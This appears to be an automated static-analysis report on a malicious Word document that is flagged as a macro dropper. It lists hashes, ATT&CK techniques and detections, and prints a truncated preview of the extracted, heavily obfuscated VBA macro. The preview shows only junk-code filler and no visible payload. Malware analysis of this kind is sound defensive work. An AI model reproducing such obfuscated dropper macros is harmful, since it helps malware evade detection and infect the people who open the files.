Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f4655dcd019e72f2…

MALICIOUS

Office (OLE)

160.2 KB Created: 2018-07-24 17:43:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: c9bdca14ea879dfa60d9b880679e8940 SHA-1: cb4a040f075e1435586e8a65f8e7d786fff8f619 SHA-256: f4655dcd019e72f2ed55ac04e15cbfaf2f7af1a4d760582a76ae65e53638d60f
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro and a 'Shell()' call indicate that the document is designed to execute arbitrary code. The ClamAV detection 'Doc.Dropper.Agent-7144465-0' further confirms its malicious nature as a dropper. The VBA script itself is heavily obfuscated, but the presence of the Shell() call strongly suggests it's intended to download and execute a secondary payload.

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-6886953-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6886953-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 32942 bytes
SHA-256: 900b5003dfdcced58d0855e160e6f7fdad802acba724b371d6d52a6eb4da0d3f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "aTTvjKo"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function EvuWAHzJozJAtG()
On Error Resume Next
   If AiEndd >= 11 Then
      Set XQPPz = oTnIO
      jNHLY = OnjwwT - 321438563
      Else
      dalRS = fwGnii * CcVvN - XYfjs / foOql + (SwCVh + BUNjT)
   End If
   If YErnAj >= 11 Then
      Set fDNaS = lWRvWz
      vTKhsW = iBUKho - 321438563
      Else
      ZTtAu = saLGC * rRFpQ - JCjFtK / ikkdjD + (dWMDYu + noVIDi)
   End If
   If clsAs >= 11 Then
      Set bioRTJ = jiQhJi
      HzLuT = zhfvB - 321438563
      Else
      RBGjhw = ETPhj * piHTsS - baLiaw / UBtwsP + (sdazjj + ZsrPc)
   End If
   If iBIGGn >= 11 Then
      Set lVruw = tfanXK
      WtdcHi = Vqfio - 321438563
      Else
      iPqHju = jRmtA * iKhpzL - fQoYj / XkoupM + (PUdpT + cHLFG)
   End If
   If djHwl >= 11 Then
      Set kltvo = rsumHQ
      UOLiP = vRusro - 321438563
      Else
      CJPqY = dXAnYA * XpLGi - TNIKR / sQpAqs + (Hkvhc + NQniT)
   End If
   If sqOncR >= 11 Then
      Set qqcGiQ = CaQoTv
      BjVJjh = iTOzs - 321438563
      Else
      cLfLQ = tCmwrA * SWSaa - LhrJs / tjwIXN + (qNIru + YUBuO)
   End If
   If IRPjQs >= 11 Then
      Set ojVlBm = WOwtPk
      KFJiXV = oJncb - 321438563
      Else
      VcUQs = aTJrXq * YBFFA - zvwLFB / XlAWiI + (YLuujB + KPANmo)
   End If
End Function
Private Function vwwUAHXSisrDqT()
On Error Resume Next
   If FShWW >= 11 Then
      Set Dzqsmw = mVHVD
      FrUIJQ = KWzuNW - 321438563
      Else
      YwTfnJ = Jwvda * QBENj - MTjkJ / FiZjz + (iQOApB + hulvtZ)
   End If
   If uWDDN >= 11 Then
      Set WSBdW = zWINO
      HQJFwl = iDvin - 321438563
      Else
      uNTilj = jncjT * kAUHk - oKMTJo / StjDb + (NDcJin + hszTo)
   End If
   If WaCijK >= 11 Then
      Set rAXtZ = EhSWK
      FApCzV = dHBNn - 321438563
      Else
      dowzvi = tiWdT * XXTtT - itJcjY / IIjCp + (kRvfGh + snrad)
   End If
   If jMRBA >= 11 Then
      Set FrlzO = BUBNZA
      HDbLA = BvEKJ - 321438563
      Else
      WSAMB = IfRlNQ * FwPsMX - SjnDIA / kwWAh + (jsSBHz + QVFVqK)
   End If
   If jwAJOi >= 11 Then
      Set EhUMR = sVOMch
      jBbsNL = DvBizU - 321438563
      Else
      WJHWoH = fjaSo * iWYfw - VziXIw / mNJjm + (zlVMH + nZVERA)
   End If
   If HYIRmL >= 11 Then
      Set JPsMKH = bddwzw
      uPMDl = TaYnK - 321438563
      Else
      owJQPN = fGzIcr * ATISv - jZNIw / AKfjr + (BfTjR + NkQSD)
   End If
   If ZAIKvL >= 11 Then
      Set zPiuK = LOczkB
      GTIrqU = wwLtf - 321438563
      Else
      DzRlYI = iNouO * tLSPB - nffGsR / azIDD + (OiqMwr + blSsi)
   End If
End Function
Private Function mDsmTvpiw()
On Error Resume Next
   If SYjul >= 11 Then
      Set pzNfOl = tZzaR
      wYWSL = IvInC - 321438563
      Else
      EEwLso = kKVdh * YRistz - NjFcw / Ubckj + (KrKhO + hJPjDc)
   End If
   If RzSIDo >= 11 Then
      Set qoHJk = OTiXzL
      KhCXO = QjSGzO - 321438563
      Else
      zlCVkl = hSYiwZ * IcQGZ - Qijwuu / XZXhI + (tocRNm + cYsJY)
   End If
   If iIDBAa >= 11 Then
      Set bRBGb = RLIuqW
      jPfLD = LOrqa - 321438563
      Else
      VFqOV = hhYRX * KlwzRP - SBVIOd / wjPIjb + (hFkawm + JpiOs)
   End If
   If fnBdCO >= 11 Then
      Set naVwVP = TjIaoR
      vOkPK = ozjfc - 321438563
      Else
      HZhawh = VXRpi * SupjYc - cRkZQN / DBotpW + (INmIJt + wzdZC)
   End If
End Function
Private Function XOwbsIWzz()
On Error Resume Next
   If uuwFq >= 11 Then
      Set RSqBD = MIUiG
      KvCiP = rojuu - 321438563
      Else
      CnmhAH = kzXBoX * mSjVT - iXzzH / ffOBi + (XCwPb + INIWKn)
   End If
   If iXASQh >= 11 Then
      Set AdfMWV = aJMruV
      qjJBL = iSKGn - 321438563
      Else
      KIzIXO = wDXlKr * wSzKIC - NnrrQ / ZMiSZ + (WKUaB + dNZUSu)
   End If
   If aOmLhq >= 11 Then
      Set HNiTzl = tnHtQ
      BFLjd = BrazR - 321438
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.